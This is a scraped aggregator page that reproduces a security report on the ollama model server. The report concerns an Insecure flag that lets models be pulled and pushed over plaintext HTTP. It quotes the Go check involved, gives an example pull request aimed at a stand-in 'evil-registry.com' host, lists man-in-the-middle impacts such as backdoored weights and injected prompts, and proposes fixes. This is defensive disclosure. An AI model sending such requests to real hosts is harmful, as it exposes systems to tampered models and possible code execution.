ollama - 💡(How to fix) Fix HIGH: Model pull/push over plaintext HTTP via Insecure flag — MITM can inject malicious model weights

Official PRs (…)
ON THIS PAGE

Recommended Tools

×6

Utilities matched from this issue’s tags and category — try them while you read without losing context.

GitHub issue graph ai analysis

Paste a GitHub issue URL. We fetch that issue, discover linked issues from bodies/comments/timeline, collect linked pull requests, and produce a structured English report.

The report is written in English Markdown for sharing and archival.

Helpful · Quick feedback

Loading…

Code Example

// Pull with Insecure flag:
if n.ProtocolScheme == "http" && !regOpts.Insecure {
    return errInsecureProtocol
}
// If Insecure=true, HTTP is allowed

---

POST /api/pull
{"model": "http://evil-registry.com/llama3", "insecure": true}
RAW_BUFFERClick to expand / collapse

CWE-319: Model Pull/Push Insecure Flag — Downloads Over Plaintext HTTP

Severity: HIGH (CVSS 7.4)

Location

server/download.godownloadChunk() and server/images.goPullModel(), PushModel()

// Pull with Insecure flag:
if n.ProtocolScheme == "http" && !regOpts.Insecure {
    return errInsecureProtocol
}
// If Insecure=true, HTTP is allowed

The Insecure flag in the Pull/Push API allows model data to be transferred over unencrypted HTTP:

POST /api/pull
{"model": "http://evil-registry.com/llama3", "insecure": true}

Impact

A MITM attacker on the network path can:

  1. Inject malicious model weights — replace the GGUF file with a backdoored version
  2. Tamper with templates — inject malicious Go template code into the model manifest
  3. Replace system prompts — inject hidden instructions
  4. Serve oversized blobs — cause disk exhaustion

The SHA256 digest verification only helps if the user knows the expected digest in advance. For new model pulls from HTTP registries, there is no pre-existing trust anchor.

Combined with the template injection surface (#16304) and the GGUF parser running on untrusted data (#16306), an HTTP MITM attack could achieve code execution on the Ollama host.

Remediation

  1. Require HTTPS by default, with Insecure requiring explicit opt-in via environment variable (not per-request)
  2. Display a prominent warning when pulling over HTTP
  3. Consider requiring OLLAMA_INSECURE=true environment variable to enable insecure pulls globally
  4. Add certificate pinning for known registries

Vote matrix · Quick signals

Works
Did the solution work? Tap to confirm.
Easy Fix
Was it a quick fix?
Time Saver
Did it save you time?
Blocking
Was it severely blocking?
Common Issue
Are others likely hitting this too?
Flaky / Intermittent
Is it intermittent?
Verified / Reproducible
Can you reproduce it reliably?
Loading…

Still need to ship something?

×6

Another batch ranked right after the header list — different links, same matching logic.

Back to top recommendations

TRENDING

ollama - 💡(How to fix) Fix HIGH: Model pull/push over plaintext HTTP via Insecure flag — MITM can inject malicious model weights